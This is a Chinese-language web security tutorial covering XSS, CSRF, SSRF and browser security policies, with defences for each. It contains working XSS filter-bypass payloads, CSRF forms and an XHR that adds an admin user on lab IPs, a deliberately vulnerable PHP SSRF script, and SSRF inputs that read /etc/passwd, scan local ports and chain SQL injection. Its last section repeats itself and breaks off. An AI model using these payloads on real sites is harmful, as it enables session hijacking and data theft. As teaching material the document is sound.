前端安全
职业名词 | 解释 |
---|---|
payload | 攻击代码 |
EXP | 完整的漏洞利用工具 |
POC | 观点验证程序。运行这个程序可以得出预期的结果 |
GPC | GET POST COOKIE |
1、跨站脚本攻击
跨站点脚本(XSS) 是指客户端代码注入攻击,攻击者在合法网站或web应用程序中执行恶意脚本。当web应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS
1.1、Web架构
Web架构包括:
服务端:
Web容器 Apache HTTPD
中间件 PHP
数据库 MySQL
浏览器端:
HTML
JavaScript 操纵浏览器、操纵HTML语言
1.2、XSS漏洞概述
XSS 通过将精心构造的代码(js)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了,用户浏览器将网页的敏感信息(Cookie)发送给hacker,hacker可以利用Cookie进行无密码登陆
1.3、XSS漏洞危害
- 盗取各种用户账户密码
- 窃取用户Cookie信息,冒充用户身份进入网站
- 劫持用户会话执行任意操作
- 传播蠕虫病毒
- …
1.4、XSS漏洞分类
- 反射性XSS
- 存储型XSS
- DOM型XSS
- …
1.4.1、反射性XSS
非持久性、参数型的跨站脚本。反射型XSS的代码在Web应用的参数中,例如:搜索框的反射型XSS。
1.4.2、存储型XSS
持久性跨站脚本,持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。可以在留言板位置进行留言,将恶意代码写进数据库中。危害面比较广,漏洞提交平台会接收此类漏洞。
1.4.3、DOM型XSS
DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,使得DOM 型XSS 比较难以检测。
- 采用#号的方式,参数不会提交到服务器端,却依旧可以弹窗
1.5、固定会话攻击
1.5.1、原理
用户会话令牌利用Cookie
来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息,由于XXS 触发需要用户参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打
。
1.5.2、XSS平台
1.5.3、提交XSS代码
1.5.4、窃取Cookie信息
1.5.5、Cookie欺骗
1.5.6、影响
- 黑客可以利用Cookie信息 登陆后台
- 即使管理员注销登陆,会话依然有效
- 即使管理员修改了密码,会话依然有效
1.6、固定会话防御
- 根据实际情况采用
单点登录
- 采用Session机制
- 设置token值
- 对Cookie数据,设置HttpOnly属性
1.7、XSS的构造
1.7.1、利用<>构造JS关键字
<script>alert(/xss/)</script>
1.7.2、JS伪协议
可以通过URL载入资源的标签
<a href = javascript:alert(/xss/) >click me!</a>
1.7.3、事件触发
<img onmouseover = 'alert(/dont touch me!/)' src = "https://xxx.jpg">
# onmouseover鼠标指针移动到图片后执行JS代码
<input type = 'text' onkeydown = 'alert(/xss/)'>
# onkeydown 事件会在用户按下一个键盘按键时发生执行JS代码
<input type = 'text' onkeyup = 'alert(/xss/)'>
# onkeyup 事件会在键盘按键被松开时发生。执行JS代码
<svg onload='alert(/xss/)'>
# onload 事件会在页面或图像加载完成后立即发生执行JS代码
<input onfocus=alert(/xss/) autofocus>
# onfocus 事件在对象获得焦点时发生。执行JS代码
1.8、XSS的变形
将构造的XSS 代码进行变形,以绕过XSS 过滤器的检测。变形方式有以下几种。
1.8.1、大小写转换
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<A hrEf = 'JaVaScrIPt:alert(/xss/)'>click me!</A>
<ScRiPt>alert(/xss/)</sCrIpT>
执行函数,弹窗效果
<ScRiPt>aleRt(/xss/)</sCrIpT>
不会执行函数,JS代码大小写敏感,大写了为不同的函数
1.8.2、引号的使用
HTML 语言对引号的使用要求不严格,某些过滤函数是“锱铢必较”。
- 没有引号
- 单引号
- 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
1.8.3、/代替空格
<Img/sRc='#'/OnErRoR='alert(/xss/)'>
1.8.4、双写绕过
绕过一次过滤
XSS 过滤器过滤了script 关键字。
<scrscriptipt>alert(/xss/)</scrscriptipt>
<scr<script>ipt>alert(/xss/);</script>
1.8.5、对伪协议进行转码
HTML编码
- 对标签属性值进行转码,可以绕过过滤
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s25J05mH-1618984838947)(03、前端安全.assets/转码绕过.png)]
<a href = 'javascript:alert(/xss/)'>click me!</a>
<a href = 'javascript:alert(/xss/)'>click me!</a>
<a href = 'javascript:alert(/xss/)'>click me!</a>
1.8.6、拆分跨站
将一段JS代码,拆分为多段代码
<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>
<script>eval(alert(/xss/))</script>
1.9、XSS的防御
XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。
1.9.1、输入过滤
- 永远不相信用户输入的数据
- 输入验证
1. 对用户提交的信息进行“有效性”验证。
2. 仅接受指定长度
3. 仅包含合法字符
4. 仅接收指定范围
5. 特殊的格式,例如,email 、IP 地址。
- 数据消毒:过滤或净化掉有害的输入
$code = str_replace('script','',$code);
1.9.2、输出编码
- 将HTML 编码转换为HTML 实体编码。
$code = htmlspecialchars($code);
1.9.3、黑白名单策略
不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:
- 黑名单:非允许的内容
- 白名单:允许的内容
1.9.4、防御DOM型XSS
- 避免客户端文档重写,重定向或其他敏感操作。
1.9.5、终极测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
2、跨站请求伪造
2.1、跨站请求伪造概念
- 基本概念
跨站请求伪造(Cross Site Request Forgery,CSRF) ,是一种攻击,它强制终端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。
- 关键点
受害者没有退出登陆,导致访问其余网页时,仍然带着上一个网页的Cookie信息。
Hacker通过该攻击获得了受害者的Cookie信息,并利用该Cookie访问了受害者访问的上一个网页,但由于网页服务器无法正确识别是不是真正的用户发送的请求,所以造成了该CSRF攻击
2.2、CSRF场景建模
2.3、CSRF类别
-
GET方式
攻击者通过
<img>
标签构造GET 请求。这个GET 请求来自于受害者的浏览器,是用户发起的转账请求。受害者访问网站的时候加载了<img>
标签。浏览器会根据<img>
标签中的SRC
属性,请求服务器资源,会自动带上身份认证信息(Cookie)。<meta charset='utf-8'> <img src='./1.jpg'><br /> <img src='http://10.10.10.6/bank/action.php?username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'alt='宝刀在手,谁与争锋'>
-
POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://10.10.10.6/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
2.4、CSRF与XSS结合
攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.9.65.193/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
2.5、CSRF漏洞的防御
- 验证Referer字段:查看当前URL的上一个URL,是否为正常页面
- 添加Token验证
- 二次验证:在某些关键操作之前,再次进行密码验证或验证码验证
- HttpOnly:某些情况下,禁止JS脚本访问Cookie信息
绕过Referer方法:将恶意站点的网站放在名为`访问网站IP`的文件夹下,抓到的包中,含有原网站IP信息,即可绕过,成功利用CSRF漏洞
3、服务器端请求伪造
3.1、SSRF概念
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
很多Web应用都提供了从其他服务器上获取数据的功能。使用用户指定的URL,Web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理,攻击远程和本地服务器。
3.2、SSRF的危害
- 端口扫描
- 内网Web 应用指纹识别
- 攻击内网应用
- 读取本地文件
3.3、服务器请求HTTP
3.3.1、利用curl组件实现
- 需要PHP扩展组件curl支持
// ssrf_curl.php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$fileName = './curled/'.time().".txt";
$curlObj = curl_init($link);
$fp = fopen($fileName,'w');
curl_setopt($curlObj,CURLOPT_FILE,$fp);
curl_setopt($curlObj,CURLOPT_HEADER,0);
curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);
curl_exec($curlObj);
curl_close($curlObj);
fclose($fp);
if(getimagesize($fileName)){
header("Content-Type:image/png");
}
$fp = fopen($fileName,'r');
$result = fread($fp,filesize($fileName));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
3.3.2、漏洞原理
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求;对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入;没对响应的结果进行检验,直接输出。
3.4、SSRF漏洞利用
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NESacqKM-1618984838950)(03、前端安全.assets/SSRF漏洞利用.png)]
3.4.1、访问正常文件
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo1.png
?url=http://www.baidu.com/robots.txt
3.4.2、端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
3.4.3、读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
3.4.5、内网应用指纹识别
?url=http://localhost/phpmyadmin/README
3.4.6、攻击内网Web应用
http://10.10.10.6/WebVuln/SSRF/ssrf_curl.php?url=http://localhost/cms/show.php?id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
3.5、SSRF漏洞的挖掘
- 从Web功能处挖掘
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
...
- 从URL关键字处挖掘
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain
...
3.6、SSRF漏洞的防御
3.6.1、过滤用户输入的URL
- 限制协议,仅允许http或https协议
- 限制IP,避免应用被用来获取内网数据,攻击内网
- 限制端口,限制请求端口为常用端口
3.6.2、过滤输出
- 过滤返回信息,只要不符合要求的,全部过滤
- 统一错误信息,让攻击无法对内网信息进行判断
4、浏览器安全机制
4.1、同源策略
同源策略,(Same Origin Policy,SOP) 。同源策略是浏览器对JavaScript
进行跨域访问的安全策略,同时也是浏览器沙盒环境提供的一项制约。
浏览器可以同时处理多个网站的内容,典型方法:
<img src = ''>
iframe`框架
AJAX
- 同源策略条件
URL 的主机(FQDN: Fully Qualified Domain Name,全称域名)一致
# localhost/127.0.0.1 不一致 一个是域名,一个是IP
Schema 一致
端口号一致
只有满足以上三个条件的时,认为两个页面是同源的。
4.2、跨域资源共享
解决JS 跨域访问的问题。提出了跨域资源共享,(cross-orgin sharing standard,CORS) 。A 网站引用B 网站内容,B 网站让不让用?
4.2.1、HTTP头部声明
- CORS 标准新增了一组HTTP 头部字段,允许服务器声明哪些源站通过浏览器访问哪些资源
Access-Control-Allow-Orgin:*
//* 号代表所有的网站
4.3、CSP
内容安全策略,(Content Security Policy,CSP) 。A 网站引用B 网站内容,A 网站所在浏览器,让不让用B 网站内容。
Content-Security-Policy:
源策略条件
URL 的主机(FQDN: Fully Qualified Domain Name,全称域名)一致
# localhost/127.0.0.1 不一致 一个是域名,一个是IP
Schema 一致
端口号一致
只有满足以上三个条件的时,认为两个页面是同源的。
4.2、跨域资源共享
解决JS 跨域访问的问题。提出了跨域资源共享,(cross-orgin sharing standard,CORS) 。A 网站引用B 网站内容,B 网站让不让用?
4.2.1、HTTP头部声明
- CORS 标准新增了一组HTTP 头部字段,允许服务器声明哪些源站通过浏览器访问哪些资源
Access-Control-Allow-Orgin:*
//* 号代表所有的网站
4.3、CSP
内容安全策略,(Content Security Policy,CSP) 。A 网站引用B 网站内容,A 网站所在浏览器,让不让用B 网站内容。
Content-Security-Policy: